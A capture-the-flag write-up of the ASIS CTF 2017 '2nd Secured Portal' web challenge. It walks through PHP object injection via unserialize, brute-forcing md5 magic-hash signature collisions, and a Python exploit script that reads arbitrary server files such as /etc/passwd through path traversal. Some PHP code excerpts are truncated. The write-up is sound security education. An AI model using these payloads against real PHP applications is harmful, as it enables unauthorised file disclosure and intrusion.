title: Asis CTF 2017 - 2nd Secured Portal Write Up author: depierre published: 2017-04-09 categories: Security keywords: asis, ctf, write-up, web, challenge, php, object, injection, unserialize The [Asis CTF](https://asis-ctf.ir/) was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal.  In this write-up, I am covering the second level: 2nd Secured Portal. # Source code From the first Secured Portal level, we downloaded the source code of the challenge:  After importing the files in a new PHPStorm project, we see that two of them have only contain `DAMAGED`: `authentication.class.php` and `configuration.php`. The first goal would be to read them on the server somehow. Now that we have the secret key `__sessionKey` used in the md5 signature, we could move the signature brute-force client-side to avoid having to send tons of requests to the server: :::python import re import sys import base64 import string import hashlib URL = 'http://46.101.96.182/panel/index' KEY = 'THEKEYISHEREWOW!' SIG = '00000000000000000000000000000000' p = re.compile('0+[eE]\d{4}.*') template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0) At this stage, we fully controlled the data being unserialized and we can therefore [inject any objects](https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf) implementing magic methods (such as `__construct`, `__destruct`, `__toString`) thanks to the call to `unserialize` we spotted in the first level. Going through the different PHP files, we could leverage `logFile.class.php` to read any file on the server. # Read remote files The `log` class implements the `__toString` method that will call the function whose name is specified in the protected attribute `$_method`: :::php hl_lines="8 14" {$this->_method}(); } } ?> If we forge a `log` object with an attribute different than `toString`, we could call any methods. Because `log` is abstract, we cannot use it as-is but the `logFile` class inherits from it! :::php hl_lines="8 21" __logName = $logName; if($this->__logName) return file_get_contents('logs/' . $this->__logName); } /** * submitting new logs on the file * * @param string $logName * @param string $action * @return boolean */ function doLog($logName=null, $action='login'){ $this->__logName = ($logName===null)? time().'.log':$logName; $this->__action = ($action===null)?'Test':$action; if($this->__logName) return file_put_contents('logs/' . $this->__logName, $this->__action); } /** * toString function * * @return string */ function toString(){ return serialize($this); } } ?> Remember, we cannot call arbitrary functions but only methods of the class itself due to the `$this->` in `log.__toString`. However, if we set `_method` to `readLog` and we craft a `logFile` object with the private attribute `__logName` set to the file we want to read on the server, we should be able to read any file. We would have been able to write arbitrary files on the server as well, if only we could have controlled `__action`. Sadly, it is not possible since it can only have the value `Test` or `$action` and because of how our object is called, we cannot control `$action`. So we should serialize the following object to read arbitrary files: :::php true, $l, "foo" => "A"); echo base64_encode(serialize($payload)); # Trigger the exploit One thing is missing though. The method `readLog` will be called only when `__toString` is called. With the payload above, `logFile.__toString` is never called so we must find a way to trigger it. If we look at the `panel.class.php` we can see the following code: :::php hl_lines="18 39" __auth){ echo 'login required'; return false; } /** * setting fullName to anonymous or the real name */ $this->fullName = 'anonymous'; if(@$this->data['title'] == 'mr.' or @$this->data['title'] == 'ms.') { $this->fullName = $this->data['title'] . $this->data['username']; } /** * setting fullName to anonymous or the real name */ if(array_key_exists('contactUs', $_GET)){ if(array_key_exists('message', $_GET)) $message = $_POST['message']; /* * check message validity */ $userCurl = (new userCurl(__SERVER_2, $message))->sendPOST(); /* * printing response to the user */ if($userCurl==='valid') echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>true, 'message'=>'We have received you message, our administrator will be reading your issue as soon as possible')); else echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>false, 'message'=>'It seems the message sent is not in the valid format.', 'error'=>$userCurl)); } } /* . . . */ When requesting `/panel/contact`, we have full control of `$this->data` (thanks to the call to `unserialize`). We therefore control `data['username']`. If you look closely, the username will be concatenated to the title variable in order to create `fullName`. So if username is our injected `logFile` object, `logFile.__toString` will be called when PHP performs the concatenation, and `logFile.readFile` will therefore be called as well. In addition, we can read the result of the concatenation thanks to the call to `json_encode` that will contain `fullname`, which is `title` concatenated with the result of `username.__toString`. All we need to do is request `/panel/contact` with the right parameters. I wrote a small python script that would take the filename as parameter and forge the corresponding PHP object to simplify the search: :::python import re import sys import base64 import string import hashlib import requests URL = 'http://46.101.96.182/panel/contact' KEY = 'THEKEYISHEREWOW!' SIG = '0e462097431906509019562988736854' p = re.compile('0+[eE]\d{4}.*') def do_read(f): # Don't forget the NULL-bytes... template = 'a:4:{s:6:"logged";b:1;s:8:"username";O:7:"logFile":2:{s:18:"\x00logFile\x00__logName";s:' + str(len(f)) + ':"' + f + '";s:10:"\x00*\x00_method";s:7:"readLog";}s:5:"title";s:3:"mr.";s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): r = requests.post(URL, params={'auth': base64.b64encode(OBJ) + SIG}, data={'contactUs':'true','message':'test'}) res = r.text if len(res) != 719: # 719 is the size of an empty answer # Replace to beautify the output print res.replace('\\\\', '\\').replace('\\n', '\n').replace('\\\\', '') sys.exit(0) if __name__ == '__main__': do_read(sys.argv[1]) It can be used to read `/etc/passwd` for instance: :::bash hl_lines="16" $ ./read.py ../../../../../../../etc/passwd